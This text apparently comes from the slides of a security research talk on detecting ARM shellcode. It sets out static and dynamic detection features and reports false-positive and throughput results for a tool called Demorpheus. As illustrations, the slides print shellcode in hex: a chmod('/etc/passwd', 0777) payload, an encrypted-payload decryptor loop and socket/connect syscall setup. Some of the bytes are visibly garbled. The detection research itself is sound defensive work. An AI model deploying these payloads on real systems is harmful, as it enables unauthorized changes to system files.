Shellcodes for ARM: Your Pills Don’t Work on Me, x86

Svetlana Gaivoronski  @SadieSv
Ivan Petrov  @_IvanPetrov_
Why it’s important

- Increasing number of ARM-based devices
- Significant number of vulnerable software and huge base of reusable code
- Memory corruption errors are still there
Is it decidable?

- Structure limitations
- Size limitations

**Activator**
- NOP
- GetPC

**Decryptor**

**Payload**

**Return address zone**
May be it’s not that bad?

- Stack canaries: calculates pseudo-random number and saves it to the stack;
- SafeSEH: instead of protecting stack protects exception handlers;
- DEP: makes stack/part of stack non-executable;
- ASLR: randomizes he base address of executables, stack and heap in a process’s address space.

@SadieSv    @_IvanPetrov_
Okay, what’s the ARM problem?

- Shellcodes are already there
- Shellcode detections methods (okay, “smarter” than signature-based) are not...
Are x86-based methods applicable here?

For analysis of applicability of x86–based techniques for ARM it’s reasonable to understand differences of two platforms.
Main differences of two platforms:

- Commands size is fixed;
- 2 different CPU modes (32bit and 16bit) and possibility to dynamic switching between them;
- Possibility of conditional instruction execution;
- Possibility of direct access to PC;
- Load-store architecture (not possible to access memory directly from arithmetic instructions);
- Function arguments (and return address as well) go to registers, not stack.
Conditional execution

```c
if(err != 0)
    printf("Error code=%i\n", err);
else
    printf("OK!\n");
```

Without conditional instructions:

```assembly
CMP r1, #0
BEQ .L4
LDR r0, <string_1_address>
BL printf
B .L8
.L4:
    LDR r0, <string_2_address>
    BL printf
.L8:
```

With conditional instructions:

```assembly
CMP r1, #0
LDRNE r0, <string_1_address>
LDREQ r0, <string_2_address>
BL printf
```
Thumb CPU mode

**Thumb mode**

```plaintext
chmod("/etc/passwd", 0777) - 31 byte

"\x78\x46" // mov r0, pc
"\x10\x30" // adds r0, #16
"\xff\x21" // movs r1, #255; 0xff
"\xff\x31" // adds r1, #255; 0xff
"\x01\x31" // adds r1, #1
"\x0f\x37" // adds r7, #15
"\x01\xdf" // svc 1; chmod(..)
"\x40\x40" // eors r0, r0
"\x01\x27" // movs r7, #1
"\x01\xdf" // svc 1; exit(0)
"\x2f\x65\x74\x63\x74\x63"
"\x2f\x70\x61\x73"
"\x73\x77"
"\x64"
```

**ARM mode**

```plaintext
chmod("/etc/passwd", 0777) - 51 byte

"\x0f\x00\xa0\xe1" // mov r0, pc
"\x20\x00\x90\xe2" // adds r0, r0, #32
"\xff\x10\xb0\xe3" // movs r1, #255; 0xff
"\xff\x10\xb0\xe3" // movs r1, #255; 0xff
"\x01\x10\x91\xe2" // adds r1, r1, #1
"\x0f\x70\x97\xe2" // adds r7, r7, #15
"\x01\x00\x00\xeef" // svc 1
"\x00\x00\x30\xe0" // eors r0, r0, r0
"\x01\x70\x97\xe2" // adds r7, r7, #1
"\x01\x00\x00\xeef" // svc 1
"\x2f\x65\x74\x63\x74\x73"
"\x2f\x70\x61\x73"
"\x73\x77"
"\x64"
```

@SadieSv   @_IvanPetrov_
Local recap

Static analysis
- Difficult/impossible in some cases.

Dynamic analysis
- Much more difficult

@SadieSv   @_IvanPetrov_
What cause such problems (mostly)

New obfuscation techniques:

1. Conditional execution;
2. Additional CPU mode.
The next step?

- We already have (still on-going) work on x86 shellcodes detection:
  - Set of features

- Are they features of ARM-based shellcodes too?

- Can we identify something new?
Static features

- Correct disassembly for chain of at least K instructions;
- Command of CPU mode switching (BX Rm);
- Existing of Get-UsePC code;
- Number of specific patterns (arguments initializations, function calls) exceeds some threshold;
- Arguments initialization strictly before system calls;
- Write to memory and load from memory cycles;
- Return address in some range of values;
- Last instruction in the chain is (BL, BLX), or system call (svc);
- Operands of self-identified code and code with indirect jumps must to be initialized.
Correct disassembly for a chain of at least $K$ instructions!

Non a shellcode

Shellcode!

Non a shellcode

Non a shellcode
Command of CPU mode switching (BX Rm)

Jump with exchange
PC register
Thumb mode number
CPU mode switch
Shellcode in Thumb mode
Arguments for system call

```plaintext
add r6, r15, #0x1
bx r6
mov r0, r15
add r0, #0xA
str r0, [sp, #0x4]
add sp, r1, #0x1
sub r2, r2, r2
mov r7, #0xB
swi #0x1
```

@SadieSv   @_IvanPetrov_
Existing of Get-UsePC code

```
"e28f6024" add r6, r15, #0x24
"e12fff16" bx r6
"e3a040da" mov r4, #0xda
"e3540c01" cmp r4, #0x100
"812fff1e" bxhi r14
"e24440da" sub r4, r4, #0xda
"e7de5004" ldrb r5, [r14, r4]
"e2455014" sub r5, r5, #0x14
"e7ce5004" strb r5, [r14, r4]
"e28440db" add r4, r4, #0xdb
"eaffffff7" b 0xfffffffffe4
"ebfffff5" bl 0xfffffffff0dc
```

PC register
Get PC
Use PC
Use PC
Get PC into LR register (r14)

Encrypted shellcode

@SadieSv  @_IvanPetrov_
Arguments initializations for system calls and library calls

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Arguments</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xe3a00002</td>
<td># mov r0, #2</td>
<td></td>
</tr>
<tr>
<td>0xe3a01001</td>
<td># mov r1, #1</td>
<td></td>
</tr>
<tr>
<td>0xe2812005</td>
<td># add r2, r1, #5</td>
<td></td>
</tr>
<tr>
<td>0xe3a0708c</td>
<td># mov r7, #140</td>
<td></td>
</tr>
<tr>
<td>0xe287708d</td>
<td># add r7, r7, #141</td>
<td></td>
</tr>
<tr>
<td>0xef000000</td>
<td># svc 0x0</td>
<td></td>
</tr>
<tr>
<td>0xe1a06000</td>
<td># mov r6, r0</td>
<td></td>
</tr>
<tr>
<td>0xe28f1084</td>
<td># 1ldr r1, pc, #132</td>
<td></td>
</tr>
<tr>
<td>0xe3a02010</td>
<td># mov r2, #16</td>
<td></td>
</tr>
<tr>
<td>0xe3a0708d</td>
<td># mov r7, #141</td>
<td></td>
</tr>
<tr>
<td>0xe287708e</td>
<td># add r7, r7, #142</td>
<td></td>
</tr>
<tr>
<td>0xef000000</td>
<td># svc 0x0</td>
<td></td>
</tr>
</tbody>
</table>

Arguments

System Call Number

System Call

_socket #281

_connect #283
**Write to memory and load from memory cycles**

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Address</th>
<th>Opcode</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;e28f6024&quot;</td>
<td>add</td>
<td>r6, r15, #0x24</td>
<td></td>
</tr>
<tr>
<td>&quot;e12fff16&quot;</td>
<td>bx</td>
<td>r6</td>
<td></td>
</tr>
<tr>
<td>&quot;e3a040da&quot;</td>
<td>mov</td>
<td>r4, #0xda</td>
<td></td>
</tr>
<tr>
<td>&quot;e3540c01&quot;</td>
<td>cmp</td>
<td>r4, #0x100</td>
<td></td>
</tr>
<tr>
<td>&quot;812fff1e&quot;</td>
<td>bxhi</td>
<td>r14</td>
<td></td>
</tr>
<tr>
<td>&quot;e24440da&quot;</td>
<td>sub</td>
<td>r4, r4, #0xda</td>
<td></td>
</tr>
<tr>
<td>&quot;e7de5004&quot;</td>
<td>ldrb</td>
<td>r5, [r14, r4]</td>
<td></td>
</tr>
<tr>
<td>&quot;e2455014&quot;</td>
<td>sub</td>
<td>r5, r5, #0x14</td>
<td></td>
</tr>
<tr>
<td>&quot;e7ce5004&quot;</td>
<td>strb</td>
<td>r5, [r14, r4]</td>
<td></td>
</tr>
<tr>
<td>&quot;e28440db&quot;</td>
<td>add</td>
<td>r4, r4, #0xdb</td>
<td></td>
</tr>
<tr>
<td>&quot;eafffff7&quot;</td>
<td>b</td>
<td>0xfffffffffe4</td>
<td></td>
</tr>
<tr>
<td>&quot;ebfffff5&quot;</td>
<td>bl</td>
<td>0xfffffffffdc</td>
<td></td>
</tr>
</tbody>
</table>

- **Cycle counter**: `bxhi r14`
- **Address of encrypted payload**: `ldrb r5, [r14, r4]`
- **Read from memory**: `strb r5, [r14, r4]`
- **Store to memory**: `add r4, r4, #0xdb`
- **Main cycle**: `bx r6`

**Encrypted shellcode**

@SadieSv  @IvanPetrov
Return address in some range of values

Stack

- Vulnerable buffer
- Return address

Shellcode

- Payload
  - 0xbeffe0
  - 0xbeffe0
  - 0xbeffe0
  - 0xbeffe0
  - 0xbeffe0

Return address zone
Dynamic features

- The number of payload reads exceeds threshold;
- The number of unique writes into memory exceeds threshold;
- Control flow is redirected to “just written” address location at least once;
- Number of executed wx-instructions exceeds threshold;
- Conditional-based signatures.
Read and write to memory

Decryptor

Encrypted payload

N Unique reads and writes
Control flow switch

Decryption

Decrypted payload

Control flow
Conditional-based signatures

\[ \begin{align*}
Z = 0 & \land C = 0 \\
\text{AL block} & \text{(every flag)} \\
\text{ADDEQS r0, r1} & \\
\text{CS block} & \text{( } C == 1 \text{) } \\
\text{NE block} & \text{( } Z == 0 \text{) } \\
\text{ADDCCS r3, r4} & \\
\end{align*} \]

If EQ block was executed, then
\[ Z = 1, \text{ else } Z = 0 \]

\[ \begin{align*}
Z = 1 & \land C = 0 \\
\text{AL block} & \text{(every flag)} \\
\text{ADDEQS r0, r1} & \\
\text{CS block} & \text{( } C == 1 \text{) } \\
\text{NE block} & \text{( } Z == 0 \text{) } \\
\text{ADDCCS r3, r4} & \\
\end{align*} \]
Hybrid classifier

Diagram showing the data flow and decision making module with various levels and nodes labeled with $K_1, K_2, K_3, K_4, K_5$. The nodes are connected by arrows indicating the flow of data.
What’s next

Make another module to shellcode detection tool - Demorpheus
Experiments

- Shellcodes;
- Legitimate binaries;
- Random data;
- Multimedia.
## Experiments

<table>
<thead>
<tr>
<th>Datasets</th>
<th>FN</th>
<th>FP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shellcodes</td>
<td>0</td>
<td>n/a</td>
</tr>
<tr>
<td>Legitimate binaries</td>
<td>n/a</td>
<td>1.1</td>
</tr>
<tr>
<td>Multimedia</td>
<td>n/a</td>
<td>0.33</td>
</tr>
<tr>
<td>Random data</td>
<td>n/a</td>
<td>0.27</td>
</tr>
</tbody>
</table>
Experiments

<table>
<thead>
<tr>
<th>Dataset</th>
<th>Throughput</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shellcodes</td>
<td>56.5 Mb/s</td>
</tr>
<tr>
<td>Legitimate binaries</td>
<td>64.8 Mb/s</td>
</tr>
<tr>
<td>Multimedia</td>
<td>93.8 Mb/s</td>
</tr>
<tr>
<td>Random data</td>
<td>99.5 Mb/s</td>
</tr>
</tbody>
</table>

2 GHZ Intel Core i7
CAUTION
Test in Progress
Your questions?